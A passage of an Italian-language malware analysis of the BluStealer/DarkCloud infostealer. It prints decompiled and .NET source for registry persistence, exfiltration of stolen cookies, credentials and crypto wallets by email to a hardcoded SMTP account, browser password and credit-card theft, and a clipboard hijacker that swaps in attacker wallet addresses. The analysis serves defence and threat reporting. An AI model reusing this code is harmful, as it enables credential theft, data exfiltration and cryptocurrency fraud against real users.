Public Sub Persistence Dim var_D4 As Global loc_0043444E: On Error Resume Next loc_00434516: var_28 = Environ("AppData") & "\Microsoft\Windows\Templates\fireball.exe" loc_00434561: var_B8 = var_28 loc_0043459F: var_D4 = (Dir(var_28, 0) = global_null) loc_004345B8: If var_D4 Then loc_004345BA: GoTo loc_00434B9D loc_004345BF: End If loc_00434601: var_4C = FreeFile(10) loc_0043466A: var_7C = Global.App loc_0043466F: var_D8 = var_7C loc_004346C7: var_50 = Global.Path loc_004346CC: var_E0 = var_50 loc_00434758: var_80 = Global.App loc_0043475D: var_E8 = var_80 loc_004347B5: var_54 = Global.EXEName loc_004347BA: var_F0 = var_54 loc_004348CF: Open For Binary As #CInt(var_50 & global_slashHat & var_54 & ".exe") Len = -1 loc_0043492C: var_4C = CInt(0) loc_00434939: LOF(var_4C) = LOF(var_4C) - 00000001h loc_00434952: ReDim var_3C( To LOF(var_4C)) loc_00434976: Get #CInt(), var_3C loc_0043498E: Close #CInt() loc_004349BC: var_24 = FreeFile(10) loc_004349E0: Open var_28 For Binary As #var_24 Len = -1 loc_004349FD: Put #var_24, 1, var_3C loc_00434A0F: Close #var_24 loc_00434A93: var_98 = "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\" & "fireballs" loc_00434AA6: var_C8 = var_28 loc_00434ADF: var_90 = CreateObject("WScript.Shell", 0) loc_00434B58: var_90 = Me.RegWrite loc_00434B9D: 'Referenced from: 004345BA loc_00434BA2: GoTo loc_00434C22 loc_00434BAC: If 0 And 4 Then loc_00434BB7: End If loc_00434C21: Exit Sub loc_00434C22: 'Referenced from: 00434BA2 loc_00434C40: Exit Sub End Sub

Nel ciclo principale del malware sono presenti anche parti di codice usati per l’invio tramite email di file il cui nome contiene la parola Cookie e dell’archivio Files.zip (tutti dentro l’area di lavoro).

var_eax = SendFilesByEmail(var_54, "Cookies", ) ... loc_00410201: var_30 = "\Files.zip" loc_0041020E: var_4C = global_0043B030 & var_30 loc_00410243: var_8C = (Dir(global_0043B030 & var_30, 0) = global_00405270) loc_00410283: If var_8C Then loc_00410318: var_38 = "DC-FG" loc_00410338: var_eax = SendByEMail(00405270h, var_38, & "\Files.zip") loc_00410368: End If loc_0041036F: global_ticks = 0 loc_00410378: GoTo loc_00410399 loc_0041037A: End If

Non è chiaro se questo codice faccia riferimento a funzionalità non presenti o se queste siano sfuggite nel processo di reversing. Anche se il campione analizzato non fosse in grado di rubare cookie e file ritenuti interessanti, non è da escludersi che tali funzionalità siano presenti in altre campagne dello stesso malware (magari anche future o passate).

Il C2

BluStealer non ha un C2 ma invia i dati per email ad un indirizzo preconfigurato usando la funzione SendByEmail.

Public Sub SendByEMail Dim var_100 As Variant Dim var_E0 As Me loc_0043656C: On Error Resume Next loc_004365E0: Set Me = CreateObject("CDO.Message", 0) loc_00436611: Me.From = """sender@dorkedmail.shop""" loc_004366CF: Me.To = "health@dorkedmail.shop" loc_004368A3: Me.Subject = arg_C & ":::" & Environ("COMPUTERNAME") & "\" & Environ("USERNAME") & "\" & global_IP loc_004369ED: var_144 = (Dir(arg_10, 0) = global_null) 'Attachment loc_00436A03: If var_144 Then loc_00436A09: GoTo loc_00436DEF loc_00436A10: On Error Resume Next loc_00436A24: Me.From = """sender@dorkedmail.shop""" loc_00436AEA: Me.To = "health@dorkedmail.shop" loc_00436CC5: Me.Subject = arg_C & ":::" & Environ("COMPUTERNAME") & "\" & Environ("USERNAME") loc_00436E33: Me.AddAttachment loc_00436E3C: End If 'SMTP config loc_00436E58: Set var_40 = Me.Configuration loc_00436EFF: call __vbaVarLateMemCallSt(var_40, "Fields", 00000001h, 2, var_11C, 2, var_114, 00000008h, var_6C, "http://schemas.microsoft.com/cdo/configuration/sendusing", var_64) loc_00436FCD: call __vbaVarLateMemCallSt(var_40, "Fields", 00000001h, 2, var_11C, 1, var_114, 00000008h, var_6C, "http://schemas.microsoft.com/cdo/configuration/smtpauthenticate", var_64) loc_004370C3: call __vbaVarLateMemCallSt(var_40, "Fields", 00000001h, 8, var_7C, "dorkedmail.shop", var_74, 8, var_6C, "http://schemas.microsoft.com/cdo/configuration/smtpserver", var_64) loc_004371AB: call __vbaVarLateMemCallSt(var_40, "Fields", 00000001h, 2, var_11C, &H24B, var_114, 00000008h, var_6C, "http://schemas.microsoft.com/cdo/configuration/smtpserverport", var_64) loc_00437271: call __vbaVarLateMemCallSt(var_40, "Fields", 00000001h, 11, var_11C, ebx, var_114, 00000008h, var_6C, "http://schemas.microsoft.com/cdo/configuration/smtpusessl", var_64) loc_00437367: call __vbaVarLateMemCallSt(var_40, "Fields", 00000001h, 8, var_7C, "sender@dorkedmail.shop", var_74, 8, var_6C, "http://schemas.microsoft.com/cdo/configuration/sendusername", var_64) loc_00437475: call __vbaVarLateMemCallSt(var_40, "Fields", 00000001h, 00000008h, var_7C, "91rt%5.0)mTJs=DSL", var_74, 8, var_6C, "http://schemas.microsoft.com/cdo/configuration/sendpassword", var_64) loc_004374CD: Set XorDecode(var_48, var_4C) = var_40."Fields" loc_00437512: var_108 = arg_10 'Delete sent file (likely out of ordered by the decompiler) loc_00437535: var_44 = Dir(arg_10, 0) loc_00437559: If (var_44 = global_null) Then loc_00437580: var_eax = Kill arg_10 loc_0043758F: Exit Sub loc_0043759A: GoTo loc_00437639 'Send loc_004375AC: call __vbaVarSetObjAddref(Me.Send, ebx, global_0043764A) loc_004375B3: call __vbaVarSetObjAddref(Me., ebx) loc_004375B8: End If loc_004375B8: Exit Sub loc_004375C3: GoTo loc_00437639 loc_00437638: Exit Sub loc_00437639: 'Referenced from: 0043759A End Sub

Nel caso di invio di file, questi sono allegati e successivamente rimossi.

Le e-mail inviate hanno nell’oggetto i seguenti prefissi:

PrefissiTipo di email
DC-CW, DC-CWsInvia lo zip con i portafogli di criptovalute
DC-GRInvia il file credentials.txt
DC-CredsInvia le credenziali rubate ai browser (il che può corrispondere al contenuto di credentials.txt qualora il furto sia delegato agli eseguibili nelle risorse)
DC-FGInvia lo zip Files.zip (non è chiaro come e se questo archivio sia generato)
DC-CookiesInvia i file con i cookie rubati (non è chiaro come e se questi file siano generati)
DC-MessagesInvia i file con i messaggi e-mail rubati
DC-ContactInvia i file con i contatti della rubrica rubati
DC-credentialsInvia il file credentials.txt (di nuovo)

Stadio 4 – Le risorse

Il codice che si occupa del furto delle credenziali dai browser dipende dalla presenza di SQLite nella macchina e inizia come mostrato sotto:

Public Sub StealPasswordAndCards loc_00428634: var_eax = DirExists(edi, esi, ebx) loc_0042863D: If DirExists(edi, esi, ebx) Then loc_00428646: If global_hasSqlite <> 0 Then GoTo loc_00428E74 loc_0042864C: End If loc_0042868C: var_58 = Dir("C:\Windows\Microsoft.NET\Framework\v4.0.30319", 16) loc_004286CA: If %ecx = %S_edx_S Then loc_004287A3: var_eax = Global.LoadResData 101, "CUSTOM" loc_00428872: var_98 = Environ("AppData") loc_00428878: var_F4 = "\Microsoft\Windows\Templates\fgfhgf.exe" loc_00428882: GoTo loc_00428A39 loc_00428887: End If loc_0042895A: var_eax = Global.LoadResData 102, "CUSTOM" loc_00428A29: var_98 = Environ("AppData") loc_00428A2F: var_F4 = "\Microsoft\Windows\Templates\ryyrhrttg.exe" loc_00428A39: 'Referenced from: 00428882 loc_00428A6C: global_0043B090 = var_98 & "\Microsoft\Windows\Templates\ryyrhrttg.exe" loc_00428BCB: var_E8 = Environ("AppData") & "\Microsoft\Windows\Templates\" & RandomName(8, var_64) & ".zip" loc_00428BDF: global_zipname = var_E8 loc_00428C55: Open global_zipname For Unknown As #1 Len = -1 loc_00428C66: Put #1, var_3C loc_00428C6E: Close #1 loc_00428D10: var_64 = Environ("AppData") & "\Microsoft\Windows\Templates" loc_00428D1B: var_eax = ExtractZIP(global_zipname, var_64) loc_00428D23: var_100 = ExtractZIP(global_zipname, var_64) loc_00428D67: If var_100 Then loc_00428D6F: var_F4 = global_zipname loc_00428D84: var_eax = Kill &H4008 loc_00428D8A: End If loc_00428DFE: var_88 = CreateObject("WScript.Shell", 0) loc_00428E41: var_88 = Me.Run loc_00428E72: GoTo loc_00428E86 loc_00428E74:

Questo codice, nel caso non sia stato rilevato SQLite nella macchina, salva uno dei due ZIP presenti nelle risorse in file.

Nel caso sia presente il framework .NET, viene salvato (in un file con nome casuale dentro %APPDATA%\Microsoft\Windows\Templates) lo ZIP che contiene fgfhgf.exe, altrimenti viene salvato quello che contiene ryyrhrttg.exe. L’archivio salvato è poi estratto e l’eseguibile in esso contenuto lanciato.

Il primo file, fgfhgf.exe, non fa altro che compilare del codice .NET (dopo che questo è stato leggermente modificato per alterare l’hash finale del binario) ed eseguirlo. Questo codice è usato per rubare le credenziali di alcuni programmi descritti sotto.

Il secondo file, ryyrhrttg.exe, è semplicemente il risultato di una delle possibili compilazioni descritte sopra. E’ usato nel caso non sia presente il compilatore C#.

Come appena anticipato, l’eseguibile BluStealer presenta nelle risorse due file eseguibili compressi in formato ZIP.

Si tratta di due file .NET denominati rispettivamente “fgfhgf.exe” e “ryyrhrttg.exe” che per fortuna non presentano alcuna forma di offuscazione.

Il codice di fgfhgf.exe

L’entry-point di questo file svela rapidamente il suo intento:

  1. preleva il codice sorgente salvato nelle risorse
  2. rimpiazza il nome del programma con una stringa casuale presa da una lista contenuta nelle risorse
  3. compila il codice
  4. lo salva nel file “credentials.exe” dentro “%temp%
private static void Main(string[] args) { CodeDomProvider provider = CodeDomProvider.CreateProvider("CSharp"); string text = Resources.Stub; string path = string.Concat(new string[] { Environment.GetFolderPath(Environment.SpecialFolder.Templates), "\\", Program.GetVariableName(), ".", Program.GetVariableName() }); File.WriteAllText(path, Resources.NETDICTIONARY); string[] array = File.ReadAllLines(path); File.Delete(path); foreach (string oldValue in array) { text = text.Replace(oldValue, Program.GetVariableName()); } bool flag = Program.CompileCode(provider, Resources.Stub, Environment.GetFolderPath(Environment.SpecialFolder.Templates) + "\\credentials.exe"); }

L’eseguibile ottenuto “credentials.exe” è identico al secondo file già presente nelle risorse “ryyrhrttg.exe”, al netto di qualche nome variabile sostituita con un numero casuale tra 1 e 15 prima della compilazione.

text = text.Replace(oldValue, Program.GetVariableName());

Il codice di ryyrhrttg.exe

Anche in questo caso la funzione “Main” descrive chiaramente le operazioni che dovranno essere eseguite.

private static void Main(string[] args) { try { Program.ExecGGFHGFDute(); } catch { } try { Program.datas += Program.GetWinSCP(); } catch { } if (!File.Exists(Environment.SystemDirectory + "\\winsqlite3.dll")) { try { Program.Chromium.Grab(); } catch { } } if (!(Program.datas == "")) { File.WriteAllText(Environment.GetFolderPath(Environment.SpecialFolder.Templates) + "\\credentials.txt", Program.datas); } }

La prima operazione compiuta è quella tentare di ottenere accesso ai dati dei prodotti Mozilla (come Firefox e Thunderbird). Se l’operazione va a buon fine colleziona nella variabile “datas” una lista con le seguenti informazioni:

  • Url, Username, Passsword e Application

Successivamente, prova ad ottenere accesso alle informazioni custodite da WinSCP, se presente, incrementando i valori della nella variabile “datas”.

Infine, se rileva la presenza di “\\winsqlite3.dll” nella directory si sistema, tenta di recuperare le informazioni di 36 applicazioni tra browser e client di posta elettronica:

"Firefox", "Waterfox", "K-Meleon", "Thunderbird", "IceDragon", "Cyberfox", "BlackHawK", "Pale Moon", "Chrome", "Opera", "Yandex", "360 Browser", "Comodo Dragon", "CoolNovo", "SRWare Iron", "Torch Browser", "Brave Browser", "Iridium Browser", "7Star", "Amigo", "CentBrowser", "Chedot", "CocCoc", "Elements Browser", "Epic Privacy Browser", "Kometa", "Orbitum", "Sputnik", "uCozMedia", "Vivaldi", "Sleipnir 6", "Citrio", "Coowon", "Liebao Browser", "QIP Surf", "Edge Chromium",

avendo cura di rilevare eventuali informazioni relative alle carte di credito:

if (sqliteHandler.ReadTable("credit_cards")) { for (int i = 0; i <= sqliteHandler.GetRowCount() - 1; i++) { try { string utf = Program.Chromium.GetUTF8(Program.Chromium.DecryptWithKey(Encoding.Default.GetBytes(sqliteHandler.GetValue(i, "card_number_encrypted")), masterKey)); string text2 = ""; if (utf.Contains("5")) { text2 = "MasterCard"; } if (utf.Contains("4")) { text2 = "VisaCard"; } if (utf.Length > 16) { text2 = "Maestro"; } Program.datas = Program.datas + "Name on Card: " + Program.Chromium.GetUTF8(sqliteHandler.GetValue(i, "name_on_card")) + Environment.NewLine; Program.datas = Program.datas + "Card Number: " + utf + Environment.NewLine; Program.datas = Program.datas + "Expiry Month: " + Program.Chromium.GetUTF8(sqliteHandler.GetValue(i, "expiration_month")) + Environment.NewLine; Program.datas = Program.datas + "Expiry Year: " + Program.Chromium.GetUTF8(sqliteHandler.GetValue(i, "expiration_year")) + Environment.NewLine; Program.datas = string.Concat(new string[] { Program.datas, "Card Type: ", text2, Program.Chromium.GetUTF8(sqliteHandler.GetValue(i, "expiration_year")), Environment.NewLine }); Program.datas = Program.datas + "===============DARKCLOUD===============" + Environment.NewLine; } catch { } } }

Una volta collezionate tutte le informazioni nella variabile “datas” vengono scritte nel file “credentials.txt” pronte per essere lette dall’eseguibile VB6 descritto nello “Stadio 3” ed inoltrate via email.

I pagamenti fraudolenti con criptovalute

BluStealer esegue la seguente routine ogni millisecondo:

Public Sub ReplaceWallets(clipData) '410710 Dim var_174 As Global loc_0041076A: On Error Resume Next loc_0041078A: If (clipData = global_00405270) = 0 Then loc_0041078C: GoTo loc_0041380B loc_00410791: End If loc_00410813: var_174 = clipData = "1AfFoww2ajt5g1YyrrfNYQfKJAjnRwVUsX" loc_00410842: If var_174 Then loc_00410844: GoTo loc_0041380B loc_00410849: End If loc_00410983: var_174 = clipData = "bc1q6thr5zkd62l3mnsq6pxgvfd5t8zrk6juawnga3" loc_004109B2: If var_174 Then loc_004109B4: GoTo loc_0041380B loc_004109B9: End If loc_00410A3B: var_174 = clipData = "1NrdpH1B13zwnvTxz7QbW6FoAeYUQkk3JU" loc_00410A6A: If var_174 Then loc_00410A6C: GoTo loc_0041380B loc_00410A71: End If loc_00410AF3: var_174 = clipData = "0xCbCf3C0517d956BE6C10Aa019256545B63b0554E" loc_00410B22: If var_174 Then loc_00410B24: GoTo loc_0041380B loc_00410B29: End If loc_00410BAB: var_174 = clipData = "rMjmMfCzgyge3AGrsLBs58Y6rbCrF9fWXWu" loc_00410BDA: If var_174 Then loc_00410BDC: GoTo loc_0041380B loc_00410BE1: End If loc_00410DD3: var_174 = clipData = "GCBBTGHEU6XS644V7563KEGDXPWVGHSBLTKXZGRHU2EZRPQ63XXGHB6T" loc_00410E02: If var_174 Then loc_00410E04: GoTo loc_0041380B loc_00410E09: End If loc_00410EB8: Set var_24 = CreateObject("VBScript.RegExp", 0) loc_00410F40: var_24."Global" = True loc_00410F99: var_24."IgnoreCase" = True loc_0041106F: var_24."Pattern" = "\b(bc(0([ac-hj-np-z02-9]{39}|[ac-hj-np-z02-9]{59})|1[ac-hj-np-z02-9]{8,87})|[13][a-km-zA-HJ-NP-Z1-9]{25,35})\b" loc_0041107F: var_118 = clipData loc_004110D0: var_90 = var_24.test(var_60, clipData) loc_004110E0: var_174 = CBool(XorDecode(var_6C, var_70, var_114)) loc_004110FC: If var_174 Then loc_00411121: If InStr(1, clipData, "1", 0) = 0 Then loc_0041117E: var_80 = Global.Clipboard loc_0041139B: var_eax = Global.SetText "1AfFoww2ajt5g1YyrrfNYQfKJAjnRwVUsX" loc_00411408: GoTo loc_0041380B loc_0041140D: End If loc_0041140D: End If loc_0041194B: var_24."Pattern" = "\b(bc(0([ac-hj-np-z02-9]{39}|[ac-hj-np-z02-9]{59})|1[ac-hj-np-z02-9]{8,87})|[13][a-km-zA-HJ-NP-Z1-9]{25,35})\b" loc_0041195B: var_118 = clipData loc_004119AC: var_90 = var_24.test(var_60, clipData) loc_004119BC: var_174 = CBool(XorDecode(var_6C, var_70, var_114)) loc_004119D8: If var_174 Then loc_004119EA: var_128 = clipData loc_00411A2E: var_A0 = LCase("bc") loc_00411A4D: var_158 = clipData loc_00411A91: var_E0 = Ucase("bc") loc_00411AC4: call InStr(var_B0, 00000000h, var_A0, var_130, 00000001h, var_58) loc_00411AD9: var_ret_1 = (InStr(var_B0, 00000000h, var_A0, var_130, 00000001h, var_58) = 1) loc_00411AF9: call InStr(var_F0, 00000000h, var_E0, var_160, 00000001h, var_ret_1) loc_00411B0E: var_ret_2 = (InStr(var_F0, 00000000h, var_E0, var_160, 00000001h, var_ret_1) = 1) loc_00411B1C: call Or(var_110, var_ret_2) loc_00411B29: var_174 = CBool(Or(var_110, var_ret_2)) loc_00411B6E: If var_174 Then loc_00411BCB: var_80 = Global.Clipboard loc_00411BD0: var_178 = var_80 loc_00411C24: var_eax = Global.Clear loc_00411C29: var_180 = Global.Clear loc_00411D2C: var_80 = Global.Clipboard loc_00411D31: var_178 = var_80 loc_00411DD2: var_74 = var_7C loc_00411DE8: var_eax = Global.SetText "bc1q6thr5zkd62l3mnsq6pxgvfd5t8zrk6juawnga3" loc_00411DED: var_180 = Global.SetText var_74, var_120 loc_00411E55: GoTo loc_0041380B loc_00411E5A: End If loc_00411E5A: End If loc_00411F2A: var_24."Pattern" = "^([13][a-km-zA-HJ-NP-Z1-9]{25,34})|^((bitcoincash:)?(q|p)[a-z0-9]{41})|^((BITCOINCASH:)?(Q|P)[A-Z0-9]{41})$" loc_00411F3A: var_118 = clipData loc_00411F8B: var_90 = var_24.test(var_50, clipData) loc_00411F9B: var_174 = CBool(XorDecode(var_6C, var_70, var_114)) loc_00411FB7: If var_174 Then loc_00412014: var_80 = Global.Clipboard loc_00412019: var_178 = var_80 loc_0041206D: var_eax = Global.Clear loc_00412072: var_180 = Global.Clear loc_00412175: var_80 = Global.Clipboard loc_0041217A: var_178 = var_80 loc_0041221B: var_74 = var_7C loc_00412231: var_eax = Global.SetText "1NrdpH1B13zwnvTxz7QbW6FoAeYUQkk3JU" loc_0041229E: GoTo loc_0041380B loc_004122A3: End If loc_00412373: var_24."Pattern" = "^(0x){1}[0-9a-fA-F]{40}$" loc_00412383: var_118 = clipData loc_004123D4: var_90 = var_24.test(var_50, clipData) loc_004123E4: var_174 = CBool(XorDecode(var_6C, var_70, var_114)) loc_00412400: If var_174 Then loc_0041245D: var_80 = Global.Clipboard loc_00412462: var_178 = var_80 loc_004124B6: var_eax = Global.Clear loc_004124BB: var_180 = Global.Clear loc_0041267A: var_eax = Global.SetText "0xCbCf3C0517d956BE6C10Aa019256545B63b0554E" loc_004126E7: GoTo loc_0041380B loc_004126EC: End If loc_004127BC: var_24."Pattern" = "^([r])([1-9A-HJ-NP-Za-km-z]{24,34})$" loc_004127CC: var_118 = clipData loc_0041281D: var_90 = var_24.test(var_50, clipData) loc_0041282D: var_174 = CBool(XorDecode(var_6C, var_70, var_114)) loc_00412849: If var_174 Then loc_004128A6: var_80 = Global.Clipboard loc_004128AB: var_178 = var_80 loc_004128FF: var_eax = Global.Clear loc_00412904: var_180 = Global.Clear loc_00412A07: var_80 = Global.Clipboard loc_00412AC3: var_eax = Global.SetText "rMjmMfCzgyge3AGrsLBs58Y6rbCrF9fWXWu" loc_00412B30: GoTo loc_0041380B loc_00412B35: End If loc_0041304E: var_24."Pattern" = "^[LM3][a-km-zA-HJ-NP-Z1-9]{26,33}$" loc_0041305E: var_118 = clipData loc_004130AF: var_90 = var_24.test(var_50, clipData) loc_004130BF: var_174 = CBool(XorDecode(var_6C, var_70, var_114)) loc_004130DB: If var_174 Then loc_00413299: var_80 = Global.Clipboard loc_0041329E: var_178 = var_80 loc_0041333F: var_74 = var_7C loc_00413355: var_eax = Global.SetText "rMjmMfCzgyge3AGrsLBs58Y6rbCrF9fWXWu" loc_004133C2: GoTo loc_0041380B loc_004133C7: End If loc_00413497: var_24."Pattern" = "^G[ABCDEFGHIJKLMNOPQRSTUVWXYZ234567]{55}$" loc_004134A7: var_118 = clipData loc_004134F8: var_90 = var_24.test(var_50, clipData) loc_00413508: var_174 = CBool(XorDecode(var_6C, var_70, var_114)) loc_00413524: If var_174 Then loc_00413581: var_80 = Global.Clipboard loc_00413586: loc_004136E2: var_80 = Global.Clipboard loc_004136E7: var_178 = var_80 loc_00413788: var_74 = var_7C loc_0041379E: var_eax = Global.SetText "GCBBTGHEU6XS644V7563KEGDXPWVGHSBLTKXZGRHU2EZRPQ63XXGHB6T" loc_0041380B: End If loc_00413810: GoTo loc_00413889 loc_00413888: Exit Sub loc_00413889: 'Referenced from: 00413810 End Sub

Lo scopo di questo codice è rilevare se nella clipboard sono presenti indirizzi di portafogli Bitcoin o Ethereum e in caso affermativo questi sono rimpiazzati con indirizzi appositi.

Il malware supporta differenti indirizzi, ognuno per l’opportuna versione di Bitcoin e per Ethereum. I portafogli usati dai criminali in questa campagna sono:

  • 1AfFoww2ajt5g1YyrrfNYQfKJAjnRwVUsX
  • bc1q6thr5zkd62l3mnsq6pxgvfd5t8zrk6juawnga3
  • 1NrdpH1B13zwnvTxz7QbW6FoAeYUQkk3JU
  • 0xCbCf3C0517d956BE6C10Aa019256545B63b0554E
  • rMjmMfCzgyge3AGrsLBs58Y6rbCrF9fWXWu
  • GCBBTGHEU6XS644V7563KEGDXPWVGHSBLTKXZGRHU2EZRPQ63XXGHB6T

Come avviene il pagamento fraudolento

Quando è necessario fare un pagamento in criptovalute si deve indicare l’indirizzo del portafoglio che riceverà il pagamento. Ma, come mostra la lista sopra, questi indirizzi consistono di una lunga sequenza di caratteri che non formano parole di senso compiuto (sono infatti dati binari generati deterministicamente da qualsiasi Key Material sia usato dalla criptovaluta e spesso sono hash della chiave pubblica) e di conseguenza è necessario copiarli quando si effetta un pagamento.

Quando una vittima di BluStealer copia un indirizzo a cui effettuare un pagamento, questo viene sostituito con un indirizzo sopra. Se ad esempio la vittima copia 1Ague393ishheuejjgh2922NH3guTJIEkm7 e poi va ad incollare quanto copia nel programma di pagamento, in realtà l’indirizzo inserito sarà 1AfFoww2ajt5g1YyrrfNYQfKJAjnRwVUsX e quindi il pagamento andrà a beneficio degli autori del malware.

Il malware supporta perfino diverse versioni di indirizzi Bitcoin in modo che il formato dell’indirizzo fraudolento risulti simile a quello originariamente copiato.

Questa tecnica non è certo nuova e generalmente non porta grossi guadagni poichè le transazioni in criptovalute sono relativamente rare. Tuttavia è semplice da implementare e occasianalmente la si trova in RAT ed infostealer.

Al momento ha fruttato poco meno di 1500$ agli autori di questa campagna.

DarkCloud

DarkCloud è un nome che compare spesso quando BluStealer formatta i dati rubati: in particolare compare la stringa “===============DARKCLOUD===============” e i prefissi negli oggetti delle e-mail sono DC.

Questo spiega il motivo per cui “BluStealer” oltre ad essere conosciuto come “a310logger” è identificato da molti con il nome di “DarkCloud”.

Indicatori di Compromissione

Gli IoC relativi a questa campagna sono stati già condivisi con le organizzazioni accreditate al flusso IoC del CERT-AgID.

Link: Download IoC